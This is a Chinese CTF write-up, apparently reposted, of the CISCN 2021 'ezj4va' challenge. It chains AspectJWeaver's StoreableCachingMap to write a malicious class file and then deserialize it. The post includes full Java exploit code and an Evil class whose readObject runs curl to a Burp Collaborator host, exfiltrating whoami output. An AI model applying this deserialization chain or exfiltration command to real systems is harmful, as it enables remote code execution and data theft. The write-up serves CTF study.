【Web】记录CISCN 2021 总决赛 ezj4va题目复现——AspectJWeaver

news2024/11/18 12:19:59

目录

前言

原理分析

step 0

step 1

EXP


前文:【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客

前言

这就是当年传说中的零解题嘛😭,快做🤮了

有了之前的经验,思路顺挺快的,中间不知道为啥一直一直一直一直报错,耗了一个下午总算打通

考的是AspectJWeaver写恶意字节码到靶机上(本题jsp靶机不解析),再去对其进行反序列化

值得一提的是,本题并未在输入流进行黑名单过滤,事实上就是纯粹的原生反序列化,但因该jdk下无利用链可打,所以只能先迂回写入一个恶意类,再对这个恶意类进行反序列化操作,实在是巧思!

原理分析

step 0

先看pom依赖

当时是2021年,Y4👴还没有公开fj原生反序列化的姿势,所以可以排除(

自然关注的重点会落在AspectJWeaver上,其可以实现任意文件写入(具体细节请看最开始给的文章,不作赘述)

问题是文章里给的姿势是利用CC依赖下LazyMap#get触发StoreableCachingMap#put从而写文件的,题目没有给CC依赖怎么破呢?

自然是要去利用题目自定义的类的哇,这里暂按下不表

此外,拿到源码后我们知晓了靶机的目录结构,方便我们后续利用

step 1

再来看路由

/cart/add

接受skus和cart两个参数,然后作为入参调用cartService.addToCart

addToCart方法就是对传入数据分别进行原生反序列化,将cart的SkuDescribe属性作为Map,将toAdd的SkuDescibe属性作为entry,并分别取其K V对put进Map中

如果令Map为精心构造folder属性的StoreableCachingMap,K V分别为恶意文件名和恶意字节码文件内容的话,我们就可以在靶机写入任意恶意字节码文件,属实太妙了(具体请看EXP构造)

 

再看/cart/query路由

对由cookie传入的cart值进行cartService#query操作

这里其实就是直接进行反序列化操作了,但题目的jdk下并没有原生反序列化的链子,所以我们无法直接进行利用,只能多走一步,去反序列化我们写入的恶意类

思路并不复杂,话休絮烦,直接给EXP

EXP

EXP.java

package ciscn.fina1.ezj4va;

import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javassist.ClassPool;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    protected static String getSkus() {
        try {
            Cart cart = new Cart();
            Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
            sku_f.setAccessible(true);
            HashMap hashMap = new HashMap<>();
            String bytes = Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());
            hashMap.put("Evil.class", Base64.getDecoder().decode(bytes));
            sku_f.set(cart, hashMap);
            return Serializer.serialize(cart);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }

    protected static String getOldCart() {
        try {
            Cart cart = new Cart();
            Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
            sku_f.setAccessible(true);
            Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
            Constructor constructor = clazz.getDeclaredConstructors()[0];
            constructor.setAccessible(true);
            Object o = constructor.newInstance("/ctf/ezj4va/app/target/classes/ciscn/fina1/ezj4va", 1);
            sku_f.set(cart, o);
            return Serializer.serialize(cart);

        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";
    }
 
    public static void main(String[] args) throws Exception {


        String oldCartStr = getOldCart();
        String skus = getSkus();
        Evil evil = new Evil();
        System.out.println(oldCartStr);
        System.out.println(skus);
        System.out.println(Serializer.serialize(evil));
    }
}

Evil.java

package ciscn.fina1.ezj4va;

import java.io.Serializable;

public class Evil implements Serializable {
    private void readObject(java.io.ObjectInputStream s) throws Exception{
        Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://lpe59sb790s5tlrgmet6za2aj1psdh.burpcollaborator.net?a=`whoami`"});
    }
}

先访问/cart/add写入恶意字节码文件 

再访问/cart/query来反序列化利用写入的恶意类 

用bp起一个dnslog来外带数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1537670.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式Linux系统中控制显示屏的方法

第一:循环显示图片方法 第二:循环显示jpeg图片方法

手拉手Java爬虫HttpClient

JAVA爬虫 HttpClient HttpClient 是Apache Jakarta Common 下的子项目&#xff0c;可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包&#xff0c;并且它支持 HTTP 协议最新的版本和建议。 使用 HttpClient 的 6 个步骤 1. 创建 HttpClient 的实例 2…

深度学习新篇章:PyTorch在遥感地物分类的革命性应用

我国高分辨率对地观测系统重大专项已全面启动&#xff0c;高空间、高光谱、高时间分辨率和宽地面覆盖于一体的全球天空地一体化立体对地观测网逐步形成&#xff0c;将成为保障国家安全的基础性和战略性资源。未来10年全球每天获取的观测数据将超过10PB&#xff0c;遥感大数据时…

四种最新算法(小龙虾优化算法COA、螳螂搜索算法MSA、红尾鹰算法RTH、霸王龙优化算法TROA)求解机器人路径规划(提供MATLAB代码)

一、机器人路径规划介绍 移动机器人&#xff08;Mobile robot&#xff0c;MR&#xff09;的路径规划是 移动机器人研究的重要分支之&#xff0c;是对其进行控制的基础。根据环境信息的已知程度不同&#xff0c;路径规划分为基于环境信息已知的全局路径规划和基于环境信息未知或…

Simulink无法求解/代数环/数值问题/求解器不收敛

运行仿真时出错&#xff0c;仿真终止 原因: Simulink cannot solve the algebraic loop containing Gain at time 1.0000000000000142 due to one of the following reasons: the model is ill-defined i.e., the system equations do not have a solution; or the nonlinear …

Linux:文件读取指令

Linux&#xff1a;文件读取指令 cat指令more指令less指令head指令 & tail指令grep指令 cat指令 cat指令用于查看目标文件的内容。 语法&#xff1a;cat [选项][文件] 比如直接使用cat读取一个文件&#xff1a; 可以看到&#xff0c;其直接在指令的下方&#xff0c;输出了t…

嵌入式开发--STM32G431RBTx-产生PWM

嵌入式开发–STM32G431RBTx-产生pwm 定时器工作原理 如图有反映stm32g431的定时器资源。 共10个定时器 定时器定时器类型个数TIM6&#xff0c;7基本定时器2TIM2&#xff0c;3&#xff0c;4全功能通用定时器3TIM15&#xff0c;16&#xff0c;17通用定时器(只有1或2个通道)3TI…

计算机二级大题

题目来源&#xff1a;计算机二级Python半个月抱佛脚大法&#xff08;内呈上真题版&#xff09; - 知乎 1.大题1 注意csv文件读取的处理 ls[] for line in f: ls.append(line.strip(\n).split(,)) 2. 大题2 第一问&#xff1a; #计算有效票张数 fopen("vote.txt",…

普发Pfeiffer分子泵TMH-U1001PC-1601PC安装使用维护说明

普发Pfeiffer分子泵TMH-U1001PC-1601PC安装使用维护说明

【十七】【算法分析与设计】前缀和(2)

238. 除自身以外数组的乘积 给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#…

碳素光线疗法——动,植物 光育实验

碳素光线疗法——动&#xff0c;植物 光育实验 碳素光线疗法&#xff1a; 中西医、民间疗法融为一体&#xff0c;提高机体自身治愈力&#xff0c;免疫力&#xff0c;改善体质和保持健康&#xff0c;有助于疾病的预防和治疗的疗法。不吃药、不打针、不手术也能得健康&#xff0c…

【Grass Mining】教程

Grass 为用户提供了一种利用网络资源进行Mining的新途径。以下是一份简化的指南&#xff0c;帮助您轻松开始在 Grass 上的Mining活动。 开始之前&#xff1a;注册 Grass 账户 首先&#xff0c;访问 Grass 官方网站进行账户注册。如果遇到注册过程中出现的“失败”提示&#x…

Android Jetpack:简化开发、提高Android App质量的利器

Android Jetpack&#xff1a;简化开发、提高Android App质量的利器 1. Jetpack的概念和目标 Jetpack是一套库、工具和指南&#xff0c;旨在帮助开发者更轻松地编写高质量的应用程序。这些组件帮助开发者遵循最佳实践&#xff0c;减少样板代码的编写&#xff0c;并简化复杂的任…

2024年,抖音小店无货源怎么做?一篇全解!

大家好&#xff0c;我是电商糖果 无货源不能做了&#xff1f; 以后是不是要商家自己进货&#xff0c;囤货了&#xff1f; 无货源未来还有发展前景吗&#xff1f; ....... 这些问题&#xff0c;从2022年就有不少朋友开始问&#xff0c;一直到2024年。 糖果做无货源电商已经…

训练YOLOv9-S

1. YOLOv9-S网络结构 1.1 改前改后的网络结构&#xff08;参数量、计算量&#xff09;对比 修改前调用的yolo.py测试的yolov9.yaml的打印网络情况&#xff0c;包含参数量、计算量 修改后调用的yolo.py测试的yolov9.yaml的打印网络情况&#xff0c;包含参数量、计算量 1.2 …

MySQL关联查询如何优化

好久不见&#xff0c;关于这篇文章&#xff0c;我也是想了很久&#xff0c;还是决定写一篇文章&#xff0c;有很多同学问过 mysql 相关的问题&#xff0c;其实关联查询如何优化&#xff0c;首先我们要知道关联查询的原理是什么&#xff1f; 左连接 left join SELECT 字段列表…

单目测距那些事儿(上) _ 从MobileEye谈起

单目测距那些事儿(上) | 从MobileEye谈起 全面专业的自动驾驶学习资料:链接 前言 在ADAS领域&#xff0c;有个功能叫自适应巡航控制(Adaptive Cruise Control, ACC)。 ACC是一种纵向距离控制&#xff0c;具体包括发现目标车辆、判断目标车辆所在路径、测量相对本车的距离和速…

STM32之HAL开发——手动移植HAL库

HAL库移植步骤 创建目录 配置启动文件 在\Drivers\CMSIS\Device\ST\stm32f1xx\Source\Templates\ARM目录下&#xff0c;根据你的芯片型号选择对应的启动文件&#xff0c;不同容量大小的芯片&#xff0c;对应的启动文件也不一样。 注意&#xff1a;在HAL库中&#xff0c;不同容…

离散型工业生产制造MES管理系统解决方案

一、核心优势 1、业务场景高适配 ①配置好程度高,可适应不同的业务场景。 ②业务功能灵活可配,可根据客户需求及时调整。 2、功能覆盖全周期 产品功能覆盖面广,能够实现从来料管理到销售出库整个产品生命周期管控。 3、触点互联降成本 能将相关的设备集成至MES中来,实现与设…

全网最靠谱的短网址平台,你知道几个?

在当今互联网时代&#xff0c;短网址平台成为了人们分享链接的常用工具。它们不仅可以将冗长的网址压缩为简洁的短链接&#xff0c;还能提供更多的功能和优势。在众多的短网址平台中&#xff0c;有几个平台以其可靠性和出色的性能脱颖而出。今天&#xff0c;我们就来介绍几个全…